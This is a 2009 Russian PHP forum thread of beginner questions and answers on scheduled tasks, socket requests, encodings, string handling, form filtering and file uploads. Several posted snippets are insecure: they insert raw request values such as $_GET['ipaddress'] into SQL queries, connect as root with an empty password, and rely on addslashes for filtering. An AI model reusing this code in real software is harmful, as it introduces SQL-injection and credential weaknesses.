1) При запуске скрипта(отображающего сайт, и устанавливающего задержку на выполнение задания) в какой-либо файл(специально отведенный для этого) записывавем какое-либо значение, обозначающее, что нужно будет запустить mysql запрос и какой именно запрос + дополнительные необходимые параметры.
Каждое задание пишем в отдельной строке файла, так легче анализировать, разделяем \r\n
2) Создаем скрипт, который будет проверять этот файл и при наличии строчек(заданий), будет выполнять нужные задания в нужное время(обозначенное в задании), после выполнения задания, скрипт стирает строчку выполненного задания.
3) Ставим этот скрипт на крон на каждую минуту выполнение.
PS:
а) если время задержки выполнения не слишком строгое и его можно подстроить под проверку кроном каждую минуту, то этот вариант вполне подходит.
б) не забудь правильно настроить блокировку файла при записи и чтении из него заданий, а то можешь получить в файле кашу.

Gifts
16.02.2009, 12:35
Byrger Вам уже все сказали. Set_time_limit и ignore_user_abort + sleep + аякс оьращающийся на этот скрипт. Фразы "все перепробовал" без примеров кода - это значит напишите за меня а я попользую? Никто за вас ничего делать не будет. Напишите что вы делали мы вас подправим.

Zedi
16.02.2009, 12:40
Самый легкий способ это предложенный kik8888, и в крон ставить не обязательно, можно эту проверку засунуть в начало твоего скрипта

kik8888
16.02.2009, 13:14
Самый легкий способ это предложенный kik8888, и в крон ставить не обязательно, можно эту проверку засунуть в начало твоего скрипта
Можно, но тогда нужна большая посещаемость у сайта, чтобы эту проверку частенько запускали.
Самый надежный вариант сделать и в кроне, и в начале всех скриптов сайта(например проинклудить в хедере(я надеюсь, что все шапку выносят в отдельный файл))
Но также не нужно забывать про оптимизацию и делать все для минимума использования ресурсов.

Zedi
16.02.2009, 13:53
Крон тут вообще не нужен, при первом попавшемся заходе выполнятся все запросы, никто и не увидит что он выполнился сейчас а не 10 минут назад

Byrger
16.02.2009, 14:06
Аякс не пойдёт так-как нужна 100% уверенности что все пользователи смогут запустить таймер, а что у всех яваСкрипт был включен.... Крон не пойдёт-большая нагрузка если запускать каждую секунду (нужна точность) а чтоб в код скрипт проверки поместить тоже не дело-большая нагрузка если много народу и у каждого про выполнении любого сценария на сайте будет проверятся таймер и наоборот- если мало народу то не будет точности таймера

Zedi
16.02.2009, 14:40
Точность будет, если нормально скрипт написать, все продумать(при помещении в скрипт проверки) базу использовать и все быстро будет, никакой нагрузки

Byrger
16.02.2009, 15:25
Точность будет, если нормально скрипт написать, все продумать(при помещении в скрипт проверки) базу использовать и все быстро будет, никакой нагрузки
нет меня видимо опять не понимают, мне нужна точность. И мне нужен таймер по истечению которого выполнится задача, а не проверка на то есть или нет задач. Если каждый раз проверать по 10+ таблиц в бд но то есть или нет не выпОлненые задания а если там сотни заданий... нет это никак не выход из ситуации. У меня есть идея но Как сделать чтоб при нажатии кнопки выполнялся пхп сценарий и после того как сценариз закончился, он отправляет заПрос другому сценарию (как браузер). сорри за корявость текста, я с телефона

kik8888
16.02.2009, 16:08
Сделай форму с кнопкой. Кнопка запустит скрипт, а в конце скрипта сделай запрос через сокеты(если это не должен видеть пользователь) или header("location: ....");(если нужно чтобы пользователь увидел результат этого запроса).

Byrger
16.02.2009, 17:38
А если не сложно то можите написать как через сокеты обратится к сценарию который на localhost/time.php (просто обратится к нему, а в нём у меня запрос к бд и таймер) , мне с телефона сложно и дорого искать =/

heretic1990
16.02.2009, 17:42
есть у кого аналог такого скрипта? http://yoip.ru/buttons.php

[JavaScript]
16.02.2009, 17:45
А если не сложно то можите написать как через сокеты обратится к сценарию который на localhost/time.php (просто обратится к нему, а в нём у меня запрос к бд и таймер)
<?php
echo file_get_contents("http://localhost/time.php");
?>

[dei]
16.02.2009, 17:55
Byrger
<?php
$s = fsockopen('127.0.0.1',80);
fputs($s,"GET /time.php HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n");
$answer = '';
while(!feof($s))
$answer .= fread($s, 512);
fclose($s);

echo $answer;
?>

Byrger
16.02.2009, 18:57
']Byrger
<?php
$s = fsockopen('127.0.0.1',80);
fputs($s,"GET /time.php HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n");
$answer = '';
while(!feof($s))
$answer .= fread($s, 512);
fclose($s);

echo $answer;
?> А как возможно передать по GET значение id допустим равное 25 (пробовал /time.php?id=25 но не получилось)

Zedi
16.02.2009, 19:02
В скрипте $id = $_GET['id']; писал?

5triker
16.02.2009, 19:02
<?php
$s = fsockopen('127.0.0.1',80);
fputs($s,"GET /time.php?id=25 HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n");
$answer = '';
while(!feof($s))
$answer .= fread($s, 512);
fclose($s);

echo $answer;
?>


если непашет значит либо криво написал , либо в time.php id криво определяется

mr.Babay
16.02.2009, 20:05
Ребята, как бы лучше реализовать чтобы при попадании пользователя на страничку авто-определялся шаблон...
Ну т.е. надо чтобы для пользователей заходящих с компьютеров один шаб, а для пользователей с мобил другой...

groundhog
16.02.2009, 20:06
Только User-Agent анализируй

Zitt
16.02.2009, 20:10
mr.Babay, листай выше... не так лавно был пример..

groundhog
16.02.2009, 20:12
Ничё листать не надо: http://wurfl.sourceforge.net/

Zedi
17.02.2009, 01:43
Помню тут кто то выкладывал скрипт пхп который ставил БРки автоматически чтобы страница не разъезжалась, но не могу найти, может у кого есть такой?

Mirella
17.02.2009, 02:06
так никто и не помог ...

Frize
17.02.2009, 02:59
Народ нужно к парсеру сделать так что бы он читал еще рандомно текст с txt )
Например есть такой код

function OoO() {
$c=file_get_contents('http://site.ru);
$c=explode("<p>",$c);
$c=explode("<a",$c[1]);
$rp=array("<br>","</a");
$c=str_replace($rp,"\n",$c[0]);
echo $c
мне надо что бы он читал выводил еще случайный текст таким видом, или как нибудь подругому.Вобщем помогите. $f = 'http://site.ru/file.txt';
$a = preg_split('~[\r\n]{1,2}---[\r\n]{1,2}~', file_get_contents($f));
$content = $a[rand(0,sizeof($a)-1)];

Надо так:
1код парсит текст со страници

ла-ла-ла-ла-ла пам пам
текст
текст
текст
-----------
и тут внизу рандомн идет

Zedi
17.02.2009, 03:06
Если текст брать нужно из файла, то функцией explode разбиваешь и заносишь в массив, получаешь количество записей в массиве и функцией rand выбираешь случайное значение, если что то не понятно, помогу сделать)) если парсишь сайт то просто добавишь регулярку

Frize
17.02.2009, 03:12
гык) помоги если не трудно, парс сайт, как регулярку добисать???

Zedi
17.02.2009, 03:25
А что ты парсишь? Что достать нужно? Инфу между теггами?

Корвин
17.02.2009, 13:02
если инфу между тегами то preg_match_between()

это не стандартная ф-ция, но она есть в полезных скриптах, где то, по моему

Frize
17.02.2009, 16:50
да достаю инфу между тегами, и надо после того как достал, что бы снизу дописывалось вот так:

текст который парсил
----------
после этой черточки идет текст рандомно с моего сайта

kevmen
17.02.2009, 19:27
<?
if(!empty($bonus))
{
echo "<p style='color:#FF0000; font-size:24px;'>Извините,но Вы уже получили бонусы</p><br>
<a href='../'>На главную</a>";
}
else
{
error_reporting(0);
$result=mysql_connect('localhost','root','');
mysql_select_db('tracker');
$result=mysql_query("UPDATE users SET bonus='$CURUSER[bonus]'+50 WHERE username='$CURUSER[username]'");
setcookie('24_max_free',$bonus,time()+3600);
echo "<p style='color:#0000FF; font-size:24px;'>Спасибо<br>
</p><a href='../'>На главную</a>";
}
?>
Вообщем что-то не получается,запутался,прошу вашей помощи,заранее спасибо :)

5triker
17.02.2009, 19:33
<?
if(!empty($_COOKIE['24_max_free']))
{
echo "<p style='color:#FF0000; font-size:24px;'>Извините,но Вы уже получили бонусы</p><br>
<a href='http://bit-bashtel.spb.ru/'>На главную</a>";
}
else
{
error_reporting(0);
$result=mysql_connect('localhost','root','');
mysql_select_db('tracker');
$result=mysql_query("UPDATE users SET bonus='$CURUSER[bonus]'+50 WHERE username='$CURUSER[username]'");
setcookie('24_max_free',$bonus,time()+3600);
echo "<p style='color:#0000FF; font-size:24px;'>Спасибо<br>
</p><a href='http://bit-bashtel.spb.ru/'>На главную</a>";
}
?>


вроде ето задумывалось

kevmen
17.02.2009, 19:35
так он постоянно пишет
"Спасибо".
Условие не выполняется

[JavaScript]
17.02.2009, 20:22
b3, так не получится. Да и разницы нету.
mysql_query("bla-bla-bla")
Двойные в двойных ковычки не могут быть...

Pashkela
17.02.2009, 20:28
<?
if(!empty($bonus))
{
echo "<p style='color:#FF0000; font-size:24px;'>Извините,но Вы уже получили бонусы</p><br>
<a href='../'>На главную</a>";
}
else
{
error_reporting(0);
$result=mysql_connect('localhost','root','');
mysql_select_db('tracker');
$result=mysql_query("UPDATE users SET bonus='$CURUSER[bonus]'+50 WHERE username='$CURUSER[username]'");
setcookie('24_max_free',$bonus,time()+3600);
echo "<p style='color:#0000FF; font-size:24px;'>Спасибо<br>
</p><a href='../'>На главную</a>";
}
?>
Вообщем что-то не получается,запутался,прошу вашей помощи,заранее спасибо :)

чего не получается? Выложил кусочек кода - дальше телепатируйте? Ошибки, не так работает, как надо, вообще не работает - всё догадываться надо?

kevmen
17.02.2009, 20:36
Pashkela,это не кусочек кода!!!Это полностью страница,можно догадатся,что процесс начисления бонусов должен происходить один раз


_______________

Вот еще один вариант!Но не идет поиск
<?php
error_reporting(0);
require "include/bittorrent.php";
gzip();
dbconn(true);
$search=$_SERVER[REMOTE_ADDR]; //Что ищем
$filename = "1.txt"; // Файло, где ищем
$handle = fopen($filename, "r+");
$s = fread($handle, filesize($filename));
fclose($handle);
if (stripos($s,$search))
{
echo "<p style='color:#FF0000; font-size:24px;'>Извините,но Вы уже получили бонусы</p><br>
<a href='./'>На главную</a>";
}
else
{
error_reporting(0);
$result=mysql_connect('localhost','root','');
mysql_select_db('tracker');
$result=mysql_query("UPDATE users SET bonus='$CURUSER[bonus]'+50 WHERE username='$CURUSER[username]'");
$file=fopen("1.txt","a+");
$add_new_clubs=fwrite($file,"$_POST[name] - $_SERVER[REMOTE_ADDR]
");
fclose($file);
echo "<p style='color:#0000FF; font-size:24px;'>Спасибо<br>
</p><a href='./'>На главную</a>";
}

?>

Gifts
17.02.2009, 20:47
kevmen if (stripos($s,$search)!==false)
И проверь правильные ли строки возвращает fread

go2be
17.02.2009, 21:22
если непашет значит либо криво написал , либо в time.php id криво определяется
Либо определяется не по GET а по POST

Jazz
18.02.2009, 13:24
http://hut.ru/ - не могу настроить русский... meta ничего не даёт...

<html>
<head>


<meta http-equiv="Content-Type" content="text/html; charset=utf-8" >
</head>
<body bgcolor="#000000" text="#ffffff" link="#ffffff" vlink="#ffffff" alink="#ffffff" >


<link href="style.css" rel="stylesheet" type="text/css">
вапр
</body>
</html>


1251 тож не чё не меняет(((
помогите плиззз..замучался...

Zedi
18.02.2009, 13:34
А у файла кодировка какая? Если ставишь утф8, то и файл нужно в утф8 перевести, в нотепад++ можно

Jazz
18.02.2009, 14:16
.:EnoT:.

<?php header('Content-type:text/html; charset=UTF-8'); ?>


Warning: Cannot modify header information - headers already sent by (output started at /home/q/errtyu.hut1.ru/WWW/index.php:3) in /home/q/errtyu.hut1.ru/WWW/index.php on line 3

Zedi
т.е. у файла php есть еще параметры кроме тех что внутри?

Pashkela
18.02.2009, 14:20
дык правильно, заголовок уже отослал в html

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" >

делай что-то одно

Jazz
18.02.2009, 14:25
Pashkela ога)ошибка ушла,но русского нет(((тоже самое...

Zedi
18.02.2009, 14:26
Jazz, файл может быть сохранен в той или иной кодировке, то есть: если ты браузеру сообщаешь что кодировка у тф8 то кодировка файла соответственно должна быть утф)

Zedi
18.02.2009, 14:27
Jazz, Открой файл в notepad++ и сделай в меню кодировка, преобразовать в утф8 без Bom

go2be
18.02.2009, 14:28
На чем стоит сервер?
Попробуй koi8-r

Zedi
18.02.2009, 14:33
Jazz, может еще попробовать создать файл .htaccess с содержимым: AddDefaultCharset utf-8

Pashkela
18.02.2009, 14:42
http://hut.ru/

зашел, всё по русски, Jazz, ты бы в браузере автоматическое определение кодировки выставил бы, да. Проблема твоя непонятна вообще. Покажи место на сайте, где хоть что-то нечитабельно

гы:


http://forum.holm.ru/index.php?showtopic=258

Jazz
18.02.2009, 14:49
http://qwerrtyu.hut1.ru/



<? header("Content-type:text/html; charset=UTF-8"); ?>

<html>
<head>
<title></title>
</head>
<body bgcolor="#000000" text="#ffffff" link="#ffffff" vlink="#ffffff" alink="#ffffff" >
<link href="style.css" rel="stylesheet" type="text/css">
ппыфф
</body>
</html>

ппыфф - ппыфф


Открой файл в notepad++ и сделай в меню кодировка, преобразовать в утф8 без Bom -Не помогло((

На чем стоит сервер? вобще не шарю(((
Попробуй koi8-r - не помогло

может еще попробовать создать файл .htaccess с содержимым: AddDefaultCharset utf-8 кудае его ложить?

Gadik
18.02.2009, 14:57
Добрый день. помогите пожалуйста с регулярочкой. Нужно из строки $stroka убрать все ковычки (двойные и одинарные).

Заранее спасибо.





//.:EnoT:. с регулярочкой тебе помогут в соседнем разделе. А тут могут помочь с пехапешечкой, понел?

Pashkela
18.02.2009, 15:05
$string = 'bla-bla-bla';
$mashar = array("'", '"');
$zashar = array('','');
$string = str_replace($mashar,$zashar,$string);

Pashkela
18.02.2009, 15:13
2 Jazz:

Ты где свой html набираешь? В смысле в чем???? Я вот локально просто в БЛОКНОТЕ обычном виндосувском набрал твой код - всё ок, без геммороя. Вообще без указания кодировки. Попробуй так. Скорее всего дело в копипасте, а не в ручном труде

m0Hze
18.02.2009, 15:17
)))
header("Content-type:text/html; charset=cp1251") и все заработаеть

Gadik
18.02.2009, 15:18
Pashkela, я заменил по твоему совету, но немного изменил:

$kovu4ki = array ("'",'"'); $stroka = str_replace($kovu4ki,'',$stroka);


почему-то не работает, ковычки по-прежнему остаюстя

Shadow_p1raT
18.02.2009, 15:21
Gadik,пробуй так

$text = preg_replace('#"|\'#','',$text);

Jazz
18.02.2009, 15:23
Pashkela o_0 мля....ты прав!!!!!!Adobe Dreamweaver CS4 но руками писал всё !!!спс чувак!!!ты мой герой))))уже тошно от этой проблемы...
тока придеться занаво всё набивать паходу(((
в чём причина только не пойму...

Gadik
18.02.2009, 15:25
Сорри, там была моя ошибка. Спасибо.
Shadow_p1raT, тоже спасибо, так даже лучше)

Pashkela
18.02.2009, 15:47
Pashkela o_0 мля....ты прав!!!!!!Adobe Dreamweaver CS4 но руками писал всё !!!спс чувак!!!ты мой герой))))уже тошно от этой проблемы...
тока придеться занаво всё набивать паходу(((
в чём причина только не пойму...

http://www.nulled.ws/archive/index.php/t-13432.html

можно юзать всё, но с правильным подходом

DMajere
18.02.2009, 16:41
есть ли возможность, как-нибудь изловчиться и получить тип input из пхп??кроме как из явы

Pashkela
18.02.2009, 16:44
в смысле? Конкретизируй - типо там текст, цифра или еще что-нибудь?

[JavaScript]
18.02.2009, 17:06
DMajere, а можно конкретнее? Я правильно понял?<?
echo "<form method=post><input type=text name=text value='Введите текст'><input type=submit></form>";
if(isset($_POST['text']))
{
echo "<textarea>$_POST[text]</textarea>";
}
?>

Malunga
18.02.2009, 17:49
Всем привет.
Вопрос такой: Как указать функцию обратного вызова, если эта функция находится внутри класса.
Пример:

<?php

class a{
function callBack($string)
{
return $string . \" Its OK\";
}

function some($array)
{
return array_map(\"callBack\", $array); # <=== ??
}
}

$class = &new a();
$print = $class->some(array(\'Один\', \'Два\', \'Три\'));
print_r($print);

?>

И как мне в array_map() указать эту самую функцию callback ?



Блин, почему форум все кавычки проэкранировал!!??

NOmeR1
18.02.2009, 17:59
return array_map(array($this, 'callBack'), $array);

Shadow_p1raT
18.02.2009, 18:00
вот так

function some($array)
{
return array_map(array($this, 'callBack'), $array);
}


P.S фак,не успел

Malunga
18.02.2009, 18:03
Спасибо ребят, очень выручили!! :) Очень благодарен!!
жалко рептацию не могу ставить ......(((

sadfeel
18.02.2009, 18:34
у кого-нибудь есть скрипт для просмотра видео с веб камеры???? (любой лиж бы работал))

Jazz
18.02.2009, 18:51
пипец!теперь из базы вместо русского хрень всякую выводит...в ксампе можно было выбрать кодировку для каждого столбца...и на всю таблицу...а тут нет кнопок таких(((что делать?hut.ru -тут

groundhog
18.02.2009, 19:04
SET NAMES cp1251?

DMajere
18.02.2009, 19:20
смысл такой. несколько полей ввода. в яве их тип можно узнать так documen.getElementBYId().type
можно ли средствами пхп выполнить что-то подобное.

если конкретно, надо след-есть список полей ввода разных типов. селект, текст итп
хочу сделать через switch выбор проверки- для каждого типа поля свою

groundhog
18.02.2009, 19:26
только если ты hidden полями будешь передавать тип... А объясни мне чем текст в textarea отличается от текста в INPUT TYPE="TEXT"? По-моему ты хочешь перепутать тёплое с мягким и нагородить огород... Нафик?

DMajere
18.02.2009, 19:43
а блин. действительно!
напугали дите страшными словами - хсс,инъекции.
вот с перепугу и начал клепать проверки ко всему)))

Pashkela
18.02.2009, 20:19
Обрабатывать надо не тип полей, вводимые значения.

DMajere
18.02.2009, 21:07
никто и не собирался обрабатывать тип. я хотел использовать тип как ключ в операторе swtich
в примерно таком коде
switch(type)
{
case text: различные действия
break;
case radio: различные действия
break;
....

}

вот. потому и спрашивал, есть ли возможность без js достучаться до типа поля.

а дело в следующем
для текстовых полей надо фильтр.
для остальных нет. так что в принципе можно разделить поля на тип text и на все остальные. вот и встает вопрос,как отделить одно от другого?для этого я и задавал вопрос о типах полей. т.е. вместо switch можно просто
if(тип поля текст ){то...}

если подскажете,как подругому отделить мух от катлет буду благодарен)))

Pashkela
18.02.2009, 21:19
только если ты hidden полями будешь передавать тип...

уже было

NOmeR1
18.02.2009, 21:22
А не проще ли сделать массивчик с полями и типами?
Вот небольшой примерчик
Поля:
<form method="POST">
<input type="text" name="fieldname1"><br>
<input type="text" name="fieldname2"><br>
<select name="fieldname3">
<option value="1">something1</option>
<option value="2">something2</option>
<option value="3">something3</option>
</select><br>
<input type="submit" name="fieldname4" value="Далее">
</form>
Обработка:
<?php
// массивчик
$types = array(
'fieldname1' => 'text',
'fieldname2' => 'text',
'fieldname3' => 'select',
'fieldname4' => 'submit'
);
foreach($_POST as $fieldname => &$fieldvalue) {
if($types[$fieldname] == 'text') {
$fieldvalue = addslashes($fieldvalue);
} else if($types[$fieldname] == 'select') {
// .......
}
}
?>

только если ты hidden полями будешь передавать тип...
Зато их не составит труда подменить.

Zedi
18.02.2009, 21:24
Ты что? Фильтр нужен для всех полей и обязательно, вот кто и делает уязвимые скрипты:-D никто не помешает поменять value того же радио буттона

DMajere
18.02.2009, 21:32
спасибо. массив лучшее решение.

Ты что? Фильтр нужен для всех полей и обязательно, вот кто и делает уязвимые скрипты:-D
поздно. сайт уже вскрыли злые хацкеры, воспользовавшись уязвимостью в radiobutton'ах
;)

черт Zedi, так это был ты... :D

DMajere
18.02.2009, 22:36
ну, что же непонятного? просто задавший вопрос немного нуб :D .

Frize
18.02.2009, 22:54
есть такой код:
function test() {

$arr = file('http://site/test.txt');
$num = mt_rand(1, count($arr));
$content = $arr[$num];
echo $content
как к нему присоеденить этот код
$f = 'http://site/test.txt';
$a = preg_split('~[\r\n]{1,2}---[\r\n]{1,2}~', file_get_contents($f));
$content = $a[rand(0,sizeof($a)-1)];
echo $content ???

примерно так
function test() {

$arr = file('http://site/test.txt');
$num = mt_rand(1, count($arr));
$content2 = $arr[$num];

$f = 'http://site/test2.txt';
$a = preg_split('~[\r\n]{1,2}---[\r\n]{1,2}~', file_get_contents($f));
$content = $a[rand(0,sizeof($a)-1)];
echo $content, $content2
так вобще реально?))) помогите

DMajere
18.02.2009, 23:11
ммм. вроде бы...
первый код вынимает рандомный символ из файла.
втророй- символ из подстроки.
а что собственно смущает?

Frize
18.02.2009, 23:14
надо что бы на экран выводилось сразу из двух кодов)

DMajere
18.02.2009, 23:40
echo $content.'(пробел)'.$content2;

вот так выведет обе переменные через пробел

ntldr
19.02.2009, 01:17
мне нужно перевести текст из ANSI в Юникод(не utf-8, а тот что в виндовом блокноте именуется юникодом)
$txt = iconv('windows-1251','Что тут должно быть?',$txt);

Zedi
19.02.2009, 01:25
Попробуй просто utf или unicode

ntldr
19.02.2009, 01:29
Попробуй просто utf или unicode
пробовал! вообще майкрософт бредовые прогеры

Frize
19.02.2009, 01:30
пробуй KOI8-U

ntldr
19.02.2009, 15:20
я понял, кодировка этого файла такая:
UCS-2 Little Endian
и как это будет в iconv выглядеть?

Pashkela
19.02.2009, 16:05
с iconv:


$str=iconv("UCS-2", "UTF-8", $str);


без iconv:


function ucs2_to_utf8($s, $type = 'BE', $to_array = false)
{
static $types = array(
'BE' => 'n', #unsigned short (always 16 bit, big endian byte order)
'LE' => 'v', #unsigned short (always 16 bit, little endian byte order)
);
if (! array_key_exists($type, $types))
{
trigger_error('Unexpected value in second parameter, "' . $type . '" given!', E_USER_WARNING);
return false;
}
$a = array();
foreach (unpack($types[$type] . '*', $s) as $c)
{
if ($c < 0x80) $a[] = chr($c);
elseif ($c < 0x800) $a[] = chr(0xC0 ($c >> 6)) . chr(0x80 ($c & 0x3F));
else $a[] = chr(0xE0 ($c >> 12)) . chr(0x80 (0x3F & ($c >> 6))) . chr(0x80 ($c & 0x3F));
}
return $to_array ? $a : implode('', $a);
}

ntldr
19.02.2009, 16:27
а там нет случайно вот такого типа без iconv только наоборот? потому что мне как раз надо получить текст в UCS-2 LE. а в iconv нельзя выбрать тип

Vinsik
19.02.2009, 16:29
Ребят, че такое, вроде все правильно, файлы не до конца переименовывает.
$ru=array("&","а","#","б","в"," ","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я");
$tr=array("_","a","_","b","v","_","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja");

$attach_name = substr($_FILES['attached']['name'], 0, strrpos($_FILES['attached']['name'], '.'));
Вот весь код
<?


include("include/common.php");

if($loggedin){
include("include/accmenu.php");
}
if( $_POST['submit'] && $_FILES['attached']['name'] ){
$ok_filetypes = explode("|",$att_filetypes);
if (!$_FILES['attached']['error'] && $_FILES['attached']['size'] > $att_max_size*1024){
errform('<CENTER>Извините, слишком большой размер файла!</CENTER><BR><BR>'); // #err
$step = 1;
}
$filename = (!$_FILES['attached']['error'] ? substr( basename($_FILES['attached']['name']), -30 ) : '');
$x = strtolower( substr($_FILES['attached']['name'], -3));
if($filename && !in_array($x, $ok_filetypes) ){
errform('<CENTER>Не поддерживаемый тип файла!!!</CENTER><BR><BR>');
$step = 1;
}
if(!$posterr){
if(!isset($_GET["ipaddress"]) || ($_GET["ipaddress"] == "")) {
$ipaddress = $_SERVER['REMOTE_ADDR'];
$local = 1;
} else {
$ipaddress = $_GET["ipaddress"];
$local = 0;
}


$ru=array("&","а","#","б","в"," ","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я");
$tr=array("_","a","_","b","v","_","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja");

$attach_name = substr($_FILES['attached']['name'], 0, strrpos($_FILES['attached']['name'], '.'));
$uniq = strtolower(str_replace($ru,$tr,$attach_name));
$ext = substr($_FILES['attached']['name'], strrpos($_FILES['attached']['name'], '.') + 1);

if (file_exists($att_path."/".$uniq.".".$ext)) $uniq = $uniq . '(copy)';

move_uploaded_file($_FILES['attached']['tmp_name'], $att_path."/".$uniq.".".$ext );
$strQuery = "INSERT INTO images25 SET ";
$strQuery .= "filename='($uniq.$ext)',";
$strQuery .= "ipaddress='{$ipaddress}',";
$strQuery .= "date='".time()."',";
if($myuid){
$strQuery .= "user='{$myuid}',";
}
$strQuery .= "status='1'";

$result = mysql_query($strQuery) or die( mysql_error() );
$aid = mysql_insert_id();
if($aid){
$filen = $siteurl."/".str_replace('./', '', $att_path)."/".$uniq.".$ext";
$filen = str_replace('http://','%%',$filen);
$filen = str_replace('//','/',$filen);
$filen = str_replace('%%','http://',$filen);


//ITS AN IMAGE
if($x=="jpg" or $x=="jpeg" or $x=="gif" or $x=="png" or $x=="jif" or $x=="jfif")
{
$filenx=$filen;
}
else
{
include("include/const.inc.php");
$filenx = $siteurl."/icons/".$Icons[$ext];
}


$step = 2;
}else{
$step = 1;
}
}
}else{
$step = 1;
}
if($step == 1){



?>
Что такое немогу понять( Помогите кто может(
Файл загружается но не переименновываеца до конца( остаюца русские буквы. :confused:

Pashkela
19.02.2009, 16:37
а там нет случайно вот такого типа без iconv только наоборот? потому что мне как раз надо получить текст в UCS-2 LE. а в iconv нельзя выбрать тип

ну тут не сложно самому написать, переводишь всё в хекс и потом по массиву прогоняешь, вот табличка:

http://stuffofinterest.com/misc/utf8.php?s=128

вот какой-то пример с http://php.off.co.il/manual/fr/function.iconv.php


Here is how to convert UTF-8 numbers to UCS-2 numbers in hex:

<?php

function utf8toucs2($str)
{
for ($i=0;$i<strlen($str);$i+=2)
{
$substring1 = $str[$i].$str[$i+1];
$substring2 = $str[$i+2].$str[$i+3];

if (hexdec($substring1) < 127)
$results = "00".$str[$i].$str[$i+1];
else
{
$results = dechex((hexdec($substring1)-192)*64 + (hexdec($substring2)-128));
if ($results < 1000) $results = "0".$results;
$i+=2;
}
$ucs2 .= $results;
}
return $ucs2;
}

echo strtoupper(utf8toucs2("D985D8B1D8AD"))."\n";
echo strtoupper(utf8toucs2("456725"))."\n";

?>

Input:
D985D8B1D8AD
Output:
06450631062D

Input:
456725
Output:
004500670025


ну тут в хексах, дальше просто сопоставить

-=Static=-
19.02.2009, 16:51
Vinsik, у тебя strtolower() не преобразует большие буквы, там какой-то косяк из-за локали, я делал и большие и маленькие.

С php.net:
Описание
string strtolower ( string $str )

Возвращает строку string , в которой все буквенные символы переведены в нижний регистр.

Принадлежность того или иного символа к буквенным определяется с учетом текущей локали. Это означает, что, например, в используемой по умолчанию локали "C" locale, символ Ä не будет преобразован.

Vinsik
19.02.2009, 16:55
Vinsik, у тебя strtolower() не преобразует большие буквы, там какой-то косяк из-за локали, я делал и большие и маленькие.

С php.net:
так что мне делать? Как прально написать?

-=Static=-
19.02.2009, 17:00
Как вариант сдалать так:
$ru=array("&","#"," ","а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я","А","Б","В","Г","Д","Е","Ё","Ж","З","И","Й","К","Л","М","Н","О","П","Р","С","Т","У","Ф","Х","Ц","Ч","Ш","Щ","Ъ","Ы","Ь","Э","Ю","Я");
$tr=array("_","_","_","a","b","v","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja","a","b","v","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja");

Или переопределить strtolower()

Vinsik
19.02.2009, 17:03
Как вариант сдалать так:
$ru=array("&","#"," ","а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я","А","Б","В","Г","Д","Е","Ё","Ж","З","И","Й","К","Л","М","Н","О","П","Р","С","Т","У","Ф","Х","Ц","Ч","Ш","Щ","Ъ","Ы","Ь","Э","Ю","Я");
$tr=array("_","_","_","a","b","v","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja","a","b","v","g","d","e","oh","zh","z","i","j","k","l","m","n","o","p","r","s","t","u","f","x","c","ch","sh","w","qh","y","q","eh","ju","ja");

Или переопределить strtolower()
спс!!!!

DTW
19.02.2009, 20:22
У меня выводит по 5 сообщений на одну страницу

но проблема что если еще добавить сообщение

после 5 сразу линк непоказывает

как сделать что показывало ?



// выбор коментарий
function selcoment($id,$cst)
{

global $cpages;
global $cst;

$cpages = 5;
if($cst == "") $cst = 1;
$cstl = ($cst - 1)*$cpages;


connect();
$q="select user.name, coment.id ,
coment.text,coment.date from coment,
page,user where coment.pid = page.id
and page.id=$id and user.userid = coment.userid limit $cstl,$cpages";
return $at = mysql_query($q);
query_set($at);
}

//вывод коментарий
function newcomentnav($morid)
{
$q ="select count(*) from coment,page where coment.pid = page.id
and page.id=$morid";
$rc = mysql_query($q);
$total = mysql_result($rc,0);
$pnumber = $GLOBALS['cpages'];

$number = (int)($total/$pnumber) ;

if( (float)($total/$pnumber)- $number != 0)
$number++;

for($i =1 ; $i < $number ;$i++)
{
if($number == $i)
{
if($page == $i)

echo ".(($i-1)*$pnumber+1)."-".$total.";
else
echo "<a href=?page&readmore=$morid&allc=".$i.">[".(($i-1)*$pnumber+1)."-".$total."]</a> ";

}

else {
if($page == $i)
echo ".(($i-1)*$pnumber+1)."-".$i*$pnumber.";
else
echo "<a href=?page&readmore=$morid&allc=".$i.">[".(($i-1)* $pnumber + 1)."-".$i*$pnumber."]</a> ";
}
}
}

gOsToFf
19.02.2009, 21:00
У меня несколько вопросов. Прошу помощи у знатоков.
1) Форма просто с кнопкой. Типа ОБНОВИТЬ которая передает переменную POST этой же странице... без инпутов и т.д. Работа аналогично F5.
2) PHP разбивка. Я получаю тект из <input в виде текста. И записываю в базу. но так как база не резиновая а текстовые файлы будет в данном случае не надежно мне надо чтобы они разбивались на предел ячейки базы тоесть 255 символов. Проще. Я получил переменну 1000символов. и делаю из нее 4 text1 text2 text3 text4 и записываю в соответствующие ячейки базы.
ЗЫ: спасибо за помощ зарание.

Frize
20.02.2009, 02:25
$fp = fopen("counter.txt", "a"); // Открываем файл в режиме записи
$mytext = "Это строку необходимо нам записать\r\n"; // Исходная строка
$test = fwrite($fp, $mytext); // Запись в файл
if ($test) echo 'Данные в файл успешно занесены.';
else echo 'Ошибка при записи в файл.';
fclose($fp); //Закрытие файла

как сдесь сделать что бы текст добавлялся таким видом
1) текст
2) текст2
3) текст3
??

aciiD
